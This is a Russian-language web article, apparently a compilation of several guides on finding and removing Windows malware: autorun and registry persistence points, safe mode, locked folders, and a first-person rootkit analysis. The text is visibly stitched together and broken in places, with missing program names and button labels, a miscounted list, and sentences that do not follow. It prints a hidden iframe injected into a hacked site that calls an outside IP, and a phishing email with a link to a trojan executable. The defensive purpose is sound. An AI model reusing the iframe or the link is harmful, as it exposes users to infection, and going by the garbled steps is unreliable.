Как удалить вирус из папки windows. Удаление вируса из реестра

При попадании вируса в компьютер, вирус имеет свойство прописываться в автозагрузку, а далее в реестр. Для малоопытных пользователей, эти слова мало о чем говорят. Вирус – это программное обеспечение, которое наносит вред компьютеру, так же это могут быть скрипты или зараженные архивы и pdf файлы. В момент попадания вирус начинает самораспространяться, при этом риску заражения в основном подвергаются exe и bat файлы, а так же архивы zip и rar.

На что стоит обратить внимание, если вы подозреваете или просканировали компьютер антивирусными утилитами, но проблема осталась, прежде всего смотрим автозагрузку. Для этого нужно ввести следующие команды в командную строку:
1. Открываем: Пуск далее жмем выполнить или в строке поиска «msconfig.exe»

Открывается окно: «Конфигурация системы» , нажимаем на вкладку «Автозагрузка», и смотрим что у нас там стоит в автозапуске. Прежде всего обращаем внимание на названия программ, а так же на название файла и пути его нахождения. Обычно вирусами являются файлы с нечитаемым названиями, либо файлы названия которых состоят из цифр допустим «004284.exe» «73294.exe».

2. Снимаем галочки с данных видов программ, жмем кнопку «Применить», далее «Ок».

Следующее действие это редактирование реестра. Почему и зачем нам это нужно сделать. При настройке автозагрузки, через конфигурацию системы, не всегда с автозагрузки убирается то что нам не нужно.

1. Открываем меню «Пуск», ищем строку поиска либо вкладка «Выполнить», вводим команду «regedit».Открывается окно редактора реестра.

2. Первым делом проверяемm ветку:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon

Ищем в списке запись «Shell» (XP) В Windows7 данного раздела нет. Смотрим: значение параметра, по умолчанию должно быть «Explorer.exe», если есть еще что то удаляем.

Первым признаком заражения вашего персонального компьютера (ноутбука, телефона или планшета), является как правило замедление производительности (раньше все летало), а также появление других “странных” проблем.

Заражение вирусом или шпионской программой может произойти, даже при установленном антивирусе.

Иногда бывает, что или странное поведение компьютера является результатом аппаратных проблем (жесткого диска, памяти) или конфликтом программ, драйверов, но всегда лучше заранее (пока загружается Windows) проверить компьютер на наличие вредоносного ПО.

Прежде чем что-либо делать, лучше отключить компьютер от Интернета и не подключать его, пока не будет полной уверенности в очистке Вашего компьютера. Возможно это поможет предотвратить распространение вредоносного ПО и ваших личных данных.

И так, выполняя это пошаговое руководство для начинающих , Вы самостоятельно очистите компьютер от вирусов и любого другого вредоносного ПО.

Шаг 1: Загрузитесь в “Безопасный режим” Windows

Безопасный режим Windows – это режим в котором загружаются только минимально необходимые программы и службы.

Как правило, вирусы запускаются автоматически при старте Windows, поэтому используя безопасный режим, Вы автоматически предотвращаете их запуск.

1. Для запуска безопасного режима Windows XP/7, выключите компьютер, затем включите и постоянно нажимайте клавишу F8 , до появления меню безопасного режима.

Для запуска 8/10, нажмите кнопку «Пуск » затем «Выключение », затем нажмите и удерживайте клавишу Shift , а потом «».

2. Компьютер загрузится в среду восстановления Windows 10, выберите “Поиск и устранение неисправностей – Дополнительные параметры – Параметры загрузки и нажмите кнопку Перезагрузить ”.

3. В параметрах загрузки нажмите клавишу F4 и компьютер начнет загрузку в Безопасный режим Windows 10.

Обратите внимание: Если вы хотите подключиться к Интернету, то вам нужно нажать клавишу F5, которая включит безопасный режим с поддержкой сетевых драйверов.

Не удивляйтесь, если ваш компьютер работает гораздо быстрее в безопасном режиме, возможно это признак того что ваша система заражена вредоносными программами, а возможно, просто очень, очень много программ автоматически загружаются при старте Windows.

Шаг 2. Удалить временные файлы Windows

Удалять , и Вы можете пропустить этот шаг. Но возможно удаление и очистка Windows, немного ускорит в дальнейшем сканирование системы антивирусом и даже поможет избавиться от некоторых вредоносных программ.

Если вы не знаете как удалить папку которая не удаляется, то наш материал поможет вам в этом разобраться.

Каждый периодически имеет дело с «неудаляемыми» папками на ПК.

Винить в этом кого-либо глупо, даже систему, которая утверждает нам, что данная директория в данный момент времени занята каким-либо процессом.

Как результат – все манипуляции по ликвидации заканчиваются фиаско. Подбираемся к основной теме: как удалить папку, которая не удаляется на windows 7 (win8)?

Существует 5 вариантов решения проблемы:

Проверка системы;

Вирусы;

Настройки папки;

Сторонние утилиты.

Попробуем разобраться с ситуацией.

Перезагрузка

Итак, вы намерились удалить злополучную директорию, но система утверждает, что она не может это сделать по тем или иным причинам. Основная причина – использование файлов в папке каким-либо приложением или процессом, запущенным в данный момент.

На примере видно, что ликвидировать папку «скрины» не получается, поскольку один либо несколько файлов сейчас используются одной из программ Windows. Поскольку большинство не знает, какой именно, то им ничего не остается, кроме как перезапустить машину.

Жмем «Пуск» (1), затем кликаем по небольшому квадрату (2) около кнопки «завершение работы». Выбираем пункт с перезагрузкой (3).

Проверка системы

Если вы не хотите делать рестарт, а решили докопаться до истины, проверьте, не находится ли в папке приложение, запущенное в данный момент.

Допустим, вы решили избавиться от Skype по какой-то причине, только не путем деинсталляции, а варварским удалением папки, в которой находится все содержимое программы. Рассмотрим этот вариант.

Для начала откроем папку. Следуем по пути: Диск С – Programm Files – Skype.

Видим вот такую картину.

И вот что выдает система, если нажать на «Delete» на клавиатуре.

Во-первых, программа запущена, поэтому возможность удаления заблокирована системой. Во-вторых, она «висит» в диспетчере задач, а именно в процессах.

Нужно закрыть программу и на всякий случай «убить» процесс, чтобы уведомление не отобразилось снова.

Выходим из Skype, после чего жмем Ctrl+Alt+Delete (диспетчер задач) и выделяем программу. После этого жмем на кнопку «завершить процесс».

Отобразится окошко с подтверждением намерений. Жмем повторно на завершение. Теперь вы знаете, как удалить папку, которая не удаляется на windows 8, и прочих версиях ОС.

Обратите внимание! Вышеописанная процедура одинаково полезна для всех подобных случаев, не только для Skype.

Вирусы

В некоторых случаях удаление директории невозможно по той элементарной причине, что на ПК проникло потенциально нежелательное ПО, т.е. вирусы. Помимо интернета, они могут попасть на компьютер через флеш-накопитель.

А как удалить папку, которая не удаляется с флешки? Правильно, путем предварительной проверки антивирусом.

Открываем антивирус и сканируем накопитель. Затем пробуем удалить папку. Если не получилось, придется форматировать флешку.

Обратите внимание! Помните, после форматирования удалятся все данные, папки и файлы, хранящиеся на флеш-памяти.

Процедура следующая. Жмем правой кнопкой на накопитель и выбираем «форматировать».

Перед нами меню с настройками.

1. Емкость флешки;
2. Файловая система;
3. Метка тома (имя накопителя);
4. Способ форматирования;
5. Запуск процесса.

Основное внимание на файловую систему. FAT 32 должна быть выбрана по умолчанию. Так содержимое накопителя сможет «прочесть» любой ПК. Имя можно дать любое, поскольку оно не влияет ни на какой параметр.

А вот для более качественного форматирования галочку «быстрой очистки» лучше снять. Жмем «начать» и ждем.

Настройки папки

Этот прием хорош для сетевых директорий. Иными словами, несколько ПК объединены в единую подсеть. Администратор создает одну или несколько общих папок, куда можно сбрасывать различную информацию. Чтобы ее ненароком никто не удалил, устанавливает права доступа.

Делается это следующим образом. Для начала открываем свойства папки правой кнопкой.

Переходим в раздел «безопасность» и жмем «дополнительно».

Выбираем группу либо пользователя, которому «режем права».

Снова выбираем группу, и теперь уже настраиваем уровень доступа.

Если вы установите галочки на двух пунктах, связанных с удалением, пользователь по сети не сможет убрать ни папку, ни ее содержимое.

После этого можно с легкостью избавиться от приложения, поскольку мы его «убили».

Таким нехитрым способом можно почистить систему от других программ, приложений и папок.

Сказать, что этот способ рассчитан на ленивых – нельзя. В любом случае от вас потребуется знание места, в котором хранится папка. С другой стороны, все программы изначально инсталлируются в папку Programm Files.

Как удалить папку, которая не удаляется с рабочего стола и остальных мест на ПК? Следуя нашим советам, вы сможете с легкостью избавиться от различного софта, который хранится в директориях. Последние, в свою очередь, можно легко и непринужденно ликвидировать.

Важно! Система никогда не будет «ругаться», если перечень файлов, находящихся в папке, в данный момент времени нигде не задействуются. Будь то набор фотографий, фильмов или музыки. Если же вы не используете файл, но по каким-то необъяснимым причинам вам не удается почистить компьютер, значит содержимое каталога попросту заражено вирусом. На всякий случай просканируйте систему на предмет нежелательного ПО и будьте внимательны, когда качаете что-то из интернета.

Во всех остальных случаях виновата банальная халатность и нежелание прочесть сообщение диалогового окна, в котором четко поясняется причина невозможности удаления папки.

При заражении компьютера вирусы поступают таким образом, чтобы при загрузке операционной системы они тоже загружались, либо загружалась их самая основная необходимая часть. Для этого они обычно вносят изменения в реестр Windows.

В зависимости от продвинутости создателя вируса это может быть реализовано по-разному. Рассмотрим самые распространенные случаи, где прячутся вирусы:



1. В автозагрузке операционной системы

Проверить это можно с помощью команды msconfig , запущенной через меню Пуск - Выполнить

В столбце "Команда" не должно быть подозрительных элементов, например C:\Program Files\novirus.exe



Команда msconfig позволяет только отображать и отключать ненужные программы из автозагрузки, для полного удаления следов необходимо почистить соответствующие ветки реестра (посмотреть в столбце "Расположение").

Как альтернативe команде msconfig можно использовать программу .

В разделе "Система" перейти на закладку "Загрузка системы", прокрутить скроллом немного вниз до заголовка "Автозагрузка". Также просмотреть внимательно список загружаемых вместе с операционной системой приложений и при необходимости удалить ненужные. Программа удаляет информацию сразу и в реестре Windows.

Внимание! Для того, чтобы случайно не удалить важный системный процесс Windows - уточните предварительно у компьютерных гуру или найдите ответ через поисковую систему Яндекс или Гугл о неизвестных вам загружаемых приложений, например RTHDCPL.EXE

Данный способ загрузки вируса - самый элементарный. Он легко обнаруживается, и вирус удаляется. Так действовали вирусы 5-10-летней давности.



Дополнительно:

Если вы словили порно-баннер, и нет возможности посмотреть автозагрузку, то, загрузившись с любого загрузочного диска удалите все файлы из директорий C:\Temp , C:\WINDOWS\Temp , C:\Documents and Settings\user\Local Settings\Temp , т.к. существует очень большая вероятность загрузки вируса из этих папок.

Если загрузочный диск позволяет подключиться к удаленному реестру операционной системы (к вашей) - типа ERD, то можно проверить ключи реестра, отвечающие за автозагрузку. Для операционной системы Windows XP это:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run и

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

При нахождении в них подозрительных элементов - мочить гадов! :)

2. Вместо проводника

Это очень распространенный случай при заражении вирусами, особо часто он был замечен при установке порно-баннеров на операционную систему. Вирус в этом случае грузится вместо проводника Windows, заменив запись в реестре:

В ветке HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
Параметр Shell (reg_sz) вместо значения "explorer.exe " заменяется вирусом на свой, например C:\WINDOWS\system32\h6d8dn.exe или подобную хрень.

Исправить это с наименьшими потерями можно, загрузившись с загрузочного CD-ROM или USB, проверить систему с помощью утилиты от Доктора Веба - launcher.exe . Но только в том случае, если в базе вирусов Доктора Веба есть информация об этом вирусе.



Более действенный и быстрый способ - загрузившись с загрузочного диска запустить программу редактирования реестра с возможностью подключения к удаленному реестру. Для этого идеально подходит сборка ERD.

Нужно посмотреть запись в реестре по адресу HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon , исправить "хрень" у записи параметра Shell (reg_sz) на "explorer.exe " и запомнить путь нахождения и имя файла вируса, чтобы удалить его вручную.

3. Вместе с userinit.exe или uihost.exe

В этом случае рабочий стол может отображаться и компьютер может вроде бы нормально работать, но могут быть заблокированы некоторые функции браузера по умолчанию или всех браузеров, невозможность отрыть сайты антивирусных программ и др.

Userinit.exe - программа, которая открывает Рабочий стол и активирует сетевые функции после запуска Windows. Находится он по адресу C:\WINDOWS\system32\userinit.exe . Размер оригинального файла составляет 26,0 КБ (26 624 байт) , на диске: 28,0 КБ (28 672 байт) .

Некоторые вирусы могут изменить запись в реестре у трех параметров (у всех или только некоторых) Userinit , UIHost и Shell , расположенных по адресу:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon

Оригинальные параметры записи в реестре должны быть следующими :

Userinit = C:\WINDOWS\system32\userinit.exe
UIHost = logonui.exe
Shell = explorer.exe

Вирус может прописать себя например так :

Userinit = C:\WINDOWS\system32\userinit.exe,C:\WINDOWS\system32\gertinw.exe

В данном примере файл gertinw.exe - это 100% вирус! Обязательно запомнить путь к файлу вируса и удалить его!



После удаления нужно заменить файлы userinit.exe , logonui.exe (находятся в C:\WINDOWS\system32\ ) и explorer.exe (находится в C:\WINDOWS\ ) на аналогичные файлы из дистрибутива виндовса (найдете поиском), т.к. остатки червя могут находиться в файлах ключей. Или .

После нужно проверить файл hosts (открыть любым тестовым редактором) на наличие запретов на известные сайты антивирусных программ: C:\windows\system32\drivers\etc\hosts . Удалить все после строки 127.0.0.1 localhost

Также запрет на загрузку сайтов может быть прописан в реестре по следующим адресам:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\PersistentRoutes

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet {номера 001 или 002}\Services\Tcpip\Parameters \PersistentRoutes

Удалить их содержимое полностью кроме строки "По умолчанию" с неприсвоенным значением.

Что делать, если антивирус не справился со своей работой.

    Вы, наверно, неоднократно встречали информацию в СМИ о том, что появился новый страшный вирус, который может привести к новой страшной эпидемии и чуть ли не к концу Интернета. Или, что появилась новая технология вирусописания, основанная на использовании младших битов пикселей графических изображений, и тело вируса практически невозможно обнаружить. Или... много еще чего страшненького. Иногда вирусы наделяют чуть ли не разумом и самосознанием. Происходит это от того, что многие пользователи, запутавшись в сложной классификации и подробностях механизма функционирования вирусов, забывают, что в первую очередь, любой вирус - это компьютерная программа, т.е. набор процессорных команд (инструкций), оформленных определенным образом. Неважно, в каком виде существует этот набор (исполняемый файл, скрипт, часть загрузочного сектора или группы секторов вне файловой системы) - гораздо важнее, чтобы эта программа не смогла получить управление, т.е. начать выполняться. Записанный на ваш жесткий диск, но не запустившийся вирус, также безобиден, как и любой другой файл. Главная задача в борьбе с вирусами - не обнаружить тело вируса, а предотвратить возможность его запуска. Поэтому грамотные производители вирусов постоянно совершенствуют не только технологии занесения вредоносного программного обеспечения в систему, но и способы скрытного запуска и функционирования.

Как происходит заражение компьютера вредоносным программным обеспечением (вирусом)? Ответ очевиден - должна быть запущена какая-то программа. Идеально - с административными правами, желательно - без ведома пользователя и незаметно для него. Способы запуска постоянно совершенствуются и основаны, не только на прямом обмане, но и на особенностях или недостатках операционной системы или прикладного программного обеспечения. Например, использование возможности автозапуска для сменных носителей в среде операционных систем семейства Windows привело к распространению вирусов на флэш-дисках. Функции автозапуска обычно вызываются со сменного носителя или из общих сетевых папок. При автозапуске обрабатывается файл Autorun.inf . Этот файл определяет, какие команды выполняет система. Многие компании используют эту функцию для запуска инсталляторов своих программных продуктов, однако, ее же, стали использовать и производители вирусов. В результате, об автозапуске, как некотором удобстве при работе за компьютером, можно забыть. - большинство грамотных пользователей данную опцию отключили навсегда.

Для отключения функций автозапуска в Windows XP/2000 reg-файл для импорта в реестр.

Для Windows 7 и более поздних отключение автозапуска можно выполнить с использованием апплета "Автозапуск" панели управления. В этом случае отключение действует по отношению к текущему пользователю. Более надежным способом защиты от внедрения вирусов, переносимых на съемных устройствах, является блокировка автозапуска для всех пользователей с помощью групповых политик:

запустить редактор групповых политик gpedit.msc

перейти в "Конфигурация компьютера" - - "Конфигурация Windows" - "Административные шаблоны" - "Компоненты Windows" - "Политика автозапуска".

установить значение "Вкл." для компонента "Отключить автозапуск"

    Но основным "поставщиком" вирусов, несомненно, является Интернет и, как основное прикладное программное обеспечение - "Обозреватель Интернета" (браузер). Сайты становятся все сложнее и красивее, появляются новые мультимедийные возможности, растут социальные сети, постоянно увеличивается количество серверов и растет число их посетителей. Обозреватель Интернета постепенно превращается в сложный программный комплекс - интерпретатор данных, полученных извне. Другими словами, - в программный комплекс, выполняющий программы на основании неизвестного содержимого. Разработчики обозревателей (браузеров) постоянно работают над повышением безопасности своих продуктов, однако производители вирусов тоже не стоят на месте, и вероятность заражения системы вредоносным ПО остается довольно высокой. Существует мнение, что если не посещать "сайты для взрослых", сайты с серийными номерами программных продуктов и т.п. то можно избежать заражения. Это не совсем так. В Интернете немало взломанных сайтов, владельцы которых даже не подозревают о взломе. И давно прошли те времена, когда взломщики тешили свое самолюбие подменой страниц (дефейсом). Сейчас подобный взлом обычно сопровождается внедрением в страницы вполне добропорядочного сайта, специального кода для заражения компьютера посетителя. Кроме того, производители вирусов используют наиболее популярные поисковые запросы для отображения зараженных страниц в результатах выдачи поисковых систем. Особенно популярны запросы с фразами "скачать бесплатно" и " скачать без регистрации и SMS". Старайтесь не использовать эти слова в поисковых запросах, иначе, риск получения ссылки на вредоносные сайты значительно возрастает. Особенно, если вы ищете популярный фильм, еще не вышедший в прокат или последний концерт известнейшей группы.

    Механизм заражения компьютера посетителя сайта, в упрощенном виде, я попробую объяснить на примере. Не так давно, при посещении одного, довольно популярного сайта, я получил уведомление программы мониторинга автозапуска (PT Startup Monitor) о том, что приложение rsvc.exe пытается выполнить запись в реестр. Приложение было благополучно прибито FAR"ом, а изменения в реестре отменены PT Startup Monitor"ом. Анализ страниц сайта показал наличие странного кода на языке Javascript, выполняющего операции по преобразованию строковых данных, не являющихся осмысленным текстом. Язык Javascript поддерживается большинством современных браузеров и используется практически на всех веб-страницах. Сценарий, загружаемый с таких страниц, выполняется обозревателем Интернета. В результате многочисленных преобразований упомянутых выше строк получался довольно простой код:

iframe src="http://91.142.64.91/ts/in.cgi?rut4" width=1 height=1 style="visibility: hidden"

Означающий выполнение CGI-сценария сервера с IP - адресом 91.142.64.91 (не имеющего никакого отношения к посещаемому сайту) в отдельном окне (тег iframe) размером 1 пиксель по ширине и 1 пиксель по высоте, в невидимом окне. Результат - вполне вероятное вирусное заражение. Особенно, если нет антивируса или он не среагирует на угрозу. Данный пример скрытого перенаправления посетителя на вредоносный сайт с использованием тега "iframe" сегодня, наверно, не очень актуален, но вполне демонстрирует как, посещая легальный сайт, можно незаметно для себя побывать и на другом, не очень легальном, даже не подозревая об этом. К сожалению, абсолютной гарантии от вирусного заражения нет и нужно быть готовым к тому, что с вирусом придется справляться собственными силами.

    В последнее время, одним из основных направлений развития вредоносных программ стало применение в них всевозможных способов защиты от обнаружения антивирусными средствами - так называемые руткит (rootkit) - технологии. Такие программы часто или не обнаруживаются антивирусами или не удаляются ими. В этой статье я попытаюсь описать более или менее универсальную методику обнаружения и удаления вредоносного программного обеспечения из зараженной системы.

    Удаление "качественного" вируса, становится все более нетривиальной задачей, поскольку такой вирус разработчики снабжают свойствами, максимально усложняющими ее решение. Нередко вирус может работать в режиме ядра (kernel mode) и имеет неограниченные возможности по перехвату и модификации системных функций. Другими словами - вирус имеет возможность скрыть от пользователя (и антивируса) свои файлы, ключи реестра, сетевые соединения, - все, что может быть признаком его наличия в зараженной системе. Он может обойти любой брандмауэр, системы обнаружения вторжения и анализаторы протоколов. И, кроме всего прочего, он может работать и в безопасном режиме загрузки Windows. Иными словами, современную вредоносную программу очень непросто обнаружить и обезвредить.

    Развитие антивирусов тоже не стоит на месте, - они постоянно совершенствуются, и в большинстве случаев, смогут обнаружить и обезвредить вредоносное ПО, но рано или поздно, найдется модификация вируса, которая какое-то время будет "не по зубам" любому антивирусу. Поэтому самостоятельное обнаружение и удаление вируса - это работа, которую рано или поздно придется выполнять любому пользователю компьютера.

Здравствуйте.
Нас заинтересовала ваша кандидатура, однако предлагаем вам заполнить
наш фирменный бланк резюме и отправить его по адресу [email protected]
Ответ не гарантируется, однако если Ваше резюме нас заинтересует, мы
позвоним Вам в течение нескольких дней. Не забудьте
указать телефон, а также позицию, на которую Вы претендуете. Желательно
также указать пожелания по окладу.
Наш фирменный бланк вы можете скачать по нижеуказанной ссылке.
http://verano-konwektor.pl/resume.exe

    Анализ заголовков письма показал, что оно было отправлено с компьютера в Бразилии через сервер, находящийся в США. А фирменный бланк предлагается скачать с сервера в Польше. И это с русскоязычным-то содержанием.

    Ясное дело, что никакого фирменного бланка вы не увидите, и скорее всего, получите троянскую программу на свой компьютер.
    Скачиваю файл resume.exe. Размер - 159744 байта. Пока не запускаю.
    Копирую файл на другие компьютеры, где установлены различные антивирусы - просто для очередной проверки их эффективности. Результаты не ахти - антивирус Avast 4.8 Home Edition деликатно промолчал. Подсунул его Symantec"у - та же реакция. Сработал только AVG 7.5 Free Edition. Похоже, этот антивирус, в самом деле, не зря набирает популярность.
    Все эксперименты выполняю на виртуальной машине с операционной системой Windows XP. Учетная запись с правами администратора, поскольку, чаще всего вирусы успешно внедряются в систему только, если пользователь является локальным администратором.
    Запускаю. Через какое-то время зараженный файл исчез, похоже, вирус начал свое черное дело.
    Поведение системы внешне не изменилось. Очевидно, нужна перезагрузка. На всякий случай, запрещаю в брандмауэре соединения по протоколу TCP. Оставляю разрешенными только исходящие соединения по UDP:53 (DNS) - надо же оставить вирусу хоть какую-то возможность проявить свою активность. Как правило, после внедрения, вирус должен связаться с хозяином или с заданным сервером в интернете, признаком чего будут DNS-запросы. Хотя, опять же, в свете сказанного выше, умный вирус может их замаскировать, кроме того, он может и обойти брандмауэр. Забегая вперед, скажу, что в данном конкретном случае этого не произошло, но для надежного анализа сетевой активности весь трафик зараженной машины лучше пустить через другую, незараженную, где можно быть уверенным, что правила брандмауэра выполняются, а анализатор трафика (я пользовался Wireshark"ом) выдает то, что есть на самом деле.
    Перезагружаюсь. Внешне ничего не изменилось, кроме того, что невозможно выйти в интернет, поскольку я сам отключил такую возможность. Ни в путях автозапуска, ни в службах, ни в системных каталогах не появилось ничего нового. Просмотр системного журнала дает только одну наводку - системе не удалось запустить таинственную службу grande48 . Такой службы у меня быть не могло, да и по времени это событие совпало с моментом внедрения. Что еще наводит на мысль об успешном внедрении - так это отсутствие в реестре записи о службе grande48 и отсутствие второго сообщения в журнале системы об ошибке запуска службы после перезагрузки. Это, скорее всего, некоторая недоработка вирусописателей. Хотя и несущественная, ведь большинство пользователей журнал событий не просматривают, да и на момент возникновения подозрения на заражение эта запись в журнале уже может и отсутствовать.

Определяем наличие вируса в системе.

1.     Наверняка должен быть "левый" трафик. Определить можно с помощью анализаторов протокола. Я использовал Wireshark. Сразу после загрузки первым запускаю его. Все правильно, есть наличие группы DNS-запросов (как потом оказалось - один раз за 5 минут) на определение IP-адресов узлов ysiqiyp.com, irgfqfyu.com, updpqpqr.com и т.п. Вообще-то все ОС Windows любят выходить в сеть, когда надо и не надо, антивирусы могут обновлять свои базы, поэтому определить принадлежность трафика именно вирусу довольно затруднительно. Обычно требуется пропустить трафик через незараженную машину и серьезно проанализировать его содержимое. Но это отдельная тема. В принципе, косвенным признаком ненормальности сетевой активности системы могут быть значительные значения счетчиков трафика провайдера, в условиях простоя системы, счетчики из свойств VPN-соединения и т.п.

2.     Попробуем использовать программы для поиска руткитов. Сейчас таких программ уже немало и их несложно найти в сети. Одна из наиболее популярных - Марка Руссиновича, которую можно скачать на странице раздела Windows Sysinternals сайта Microsoft. Инсталляция не требуется. Разархивируем и запускаем. Жмем "Scan". После непродолжительного сканирования видим результаты:

    Кстати, даже не вникая в содержания строк, можно сразу заметить, что имеются очень "свежие" по времени создания/модификации записи или файлы (колонка "Timestamp") . Нас в первую очередь должны заинтересовать файлы с описанием (колонка "Description" ) - "Hidden from Windows API" - скрыто от API-интерфейса Windows. Скрытие файлов, записей в реестре, приложений - это, естественно, ненормально. Два файла - grande48.sys и Yoy46.sys - это как раз то, что мы ищем. Это и есть прописавшийся под видом драйверов искомый руткит или его часть, обеспечивающая скрытность. Наличие в списке остальных было для меня сюрпризом. Проверка показала - это нормальные драйверы Windows XP. Кроме того, вирус скрывал их наличие только в папке \system32 , а их копии в \system32\dllcache остались видимыми.
    Напомню, что в Windows XP применяется специальный механизм защиты системных файлов, называемый Windows File Protection (WFP) . Задача WFP - автоматическое восстановление важных системных файлов при их удалении или замене устаревшими или неподписанными копиями. Все системные файлы Windows XP имеют цифровую подпись и перечислены в специальной базе данных, используемой WFP. Для хранения копий файлов используется папка \system32\dllcache и, отчасти, \Windows\driver cache . При удалении или замене одного из системных файлов, WFP автоматически копирует "правильную" его копию из папки \dllcache. Если указанный файл отсутствует в папке \dllcache , то Windows XP просит вставить в привод компакт-дисков установочный компакт-диск Windows XP. Попробуйте удалить vga.sys из \system32, и система тут же его восстановит, используя копию из dllcache. А ситуация, когда, при работающей системе восстановления файлов, файл драйвера есть в \dllcache и его не видно в \system32 - это тоже дополнительный признак наличия руткита в системе.

Удаляем вирус из системы.

    Осталось выполнить самое важное действие - удалить вирус. Самый простой и надежный способ - загрузиться в другой, незараженной операционной системе и запретить старт драйверов руткита.

Воспользуемся стандартной консолью восстановления Windows. Берем установочный диск Windows XP и загружаемся с него. На первом экране выбираем 2-й пункт меню - жмем R.

Выбираем систему (если их несколько):

Вводим пароль администратора.
Список драйверов и служб можно просмотреть с помощью команды listsvc:

В самом деле, в списке присутствует Yoy46 , правда отсутствует grande48, что говорит о том, что файл драйвера grande48.sys скрытно присутствует в системе, но не загружается:

Консоль восстановления позволяет запрещать или разрешать запуск драйверов и служб с помощью команд disable и enable . Запрещаем старт Yoy46 командой:

    Водим команду EXIT и система уходит на перезагрузку.
После перезагрузки драйвер руткита не будет загружен, что позволит легко удалить его файлы и очистить реестр от его записей. Можно проделать это вручную, а можно использовать какой-нибудь антивирус. Наиболее эффективным, с моей точки зрения, будет бесплатный сканер на основе всем известного антивируса Dr.Web Игоря Данилова. Скачать можно отсюда - http://freedrweb.ru
    Там же можно скачать "Dr.Web LiveCD" - образ диска, который позволяет восстановить работоспособность системы, пораженной действиями вирусов, на рабочих станциях и серверах под управлением Windows\Unix, скопировать важную информацию на сменные носители либо другой компьютер, если действия вредоносных программ сделали невозможным загрузку компьютера. Dr.Web LiveCD поможет не только очистить компьютер от инфицированных и подозрительных файлов, но и попытается вылечить зараженные объекты. Для удаления вируса нужно скачать с сайта DrWeb образ (файл с расширением.iso) и записать его на CD. Будет создан загрузочный диск, загрузившись с которого, руководствуетесь простым и понятным меню.

    Если по каким-либо причинам, нет возможности воспользоваться Dr.Web LiveCD, можно попробовать антивирусный сканер Dr.Web CureIt!, который можно запустить, загрузившись в другой ОС, например, с использованием Winternals ERD Commander. Для сканирования зараженной системы необходимо указать именно ее жесткий диск (Режим "Выборочная проверка"). Сканер поможет вам найти файлы вируса, и вам останется лишь удалить связанные с ним записи из реестра.
    Поскольку вирусы научились прописываться на запуск в безопасном режиме загрузки, не мешает проверить ветку реестра:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\ Control\SafeBoot
Разделы:
Minimal - список драйверов и служб запускаемых в безопасном режиме (Safe Mode)
Network - то же, но с поддержкой сети.

Добавлю, что существует новый класс rootkit, представителем которого является BackDoor.MaosBoot , появившийся в конце 2007г. Эта троянская программа прописывает себя в загрузочный сектор жесткого диска и обеспечивает скрытую установку своего драйвера в памяти. Сам Rootkit-драйвер напрямую записан в последние секторы физического диска, минуя файловую систему, чем и скрывает свое присутствие на диске. В общем-то, принцип не новый, лет десять назад вредоносные программы подобным образом маскировались на резервных дорожках дискет и жестких дисков, однако оказался очень эффективным, поскольку большинство антивирусов с задачей удаления BackDoor.MaosBoot до сих пор не справляются. Упоминаемый выше загрузочный сектор не проверяет, а секторы в конце диска для него никак не связаны с файловой системой и, естественно, такой руткит он не обнаружит. Правда, Dr.Web (а, следовательно, и Cureit) с BackDoor.MaosBoot вполне справляется.

    Если у вас возникли сомнения относительно какого-либо файла, то можно воспользоваться бесплатной онлайновой антивирусной службой virustotal.com . Через специальную форму на главной странице сайта закачиваете подозрительный файл и ждете результатов. Сервисом virustotal используются консольные версии множества антивирусов для проверки вашего подозреваемого файла. Результаты выводятся на экран. Если файл является вредоносным, то с большой долей вероятности, вы сможете это определить. В какой-то степени сервис можно использовать для выбора "лучшего антивируса".
ссылка на одну из веток форума сайта virusinfo.info, где пользователи выкладывают ссылки на различные ресурсы посвященные антивирусной защите, в т.ч. и онлайн - проверок компьютера, браузера, файлов...

    Иногда, в результате некорректных действий вируса (или антивируса) система вообще перестает загружаться. Приведу характерный пример. Вредоносные программы пытаются внедриться в систему, используя различные, в том числе, довольно необычные способы. В процессе начальной загрузки, еще до регистрации пользователя, запускается "Диспетчер сеансов" (\SystemRoot\System32\smss.exe) , задача которого - запустить высокоуровневые подсистемы и сервисы (службы) операционной системы. На этом этапе запускаются процессы CSRSS (Client Server Runtime Process), WINLOGON (Windows Logon), LSASS (LSA shell), и оставшиеся службы с параметром Start=2 из раздела реестра

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\ Services

    Информация, предназначенная для диспетчера сеансов, находится в ключе реестра

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\ Control\Session Manager

Одним из способов внедрения в систему, является подмена dll-файла для CSRSS. Если вы посмотрите содержимое записи

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\ Control\Session Manager\SubSystems

То найдете значения

ServerDll=basesrv , ServerDll=winsrv . Библиотеки basesrv.dll и winsrv.dll - это "правильные" файлы системы, загружаемые службой CSRSS на обычной (незараженной) системе. Эту запись в реестре можно подправить на запись, обеспечивающую загрузку, например, вместо basesrv.dll, вредоносной basepvllk32.dll:

ServerDll=basepvllk32 (или какую либо другую dll, отличную от basesrv и winsrv)

Что обеспечит, при следующей перезагрузке, получение управления вредоносной программе. Если же ваш антивирус обнаружит и удалит внедренную basepvllk32, оставив нетронутой запись в реестре, то загрузка системы завершится "синим экраном смерти" (BSOD) с ошибкой STOP c000135 и сообщением о невозможности загрузить basepvllk32.

Поправить ситуацию можно так:

Загрузится в консоль восстановления (или в любой другой системе), и скопировать файл basesrv.dll из папки C:\WINDOWS\system32 в ту же папку под именем basepvllk32.dll. После чего система загрузится и можно будет вручную подправить запись в реестре.
- загрузиться с использованием Winternals ERD Commander и исправить запись в реестре на ServerDll=basesrv . Или выполнить откат системы с использованием точки восстановления.

    Еще один характерный пример. Вредоносная программ регистрируется как отладчик процесса explorer.exe, создавая в реестре запись типа:

"Debugger"="C:\Program Files\Microsoft Common\wuauclt.exe"
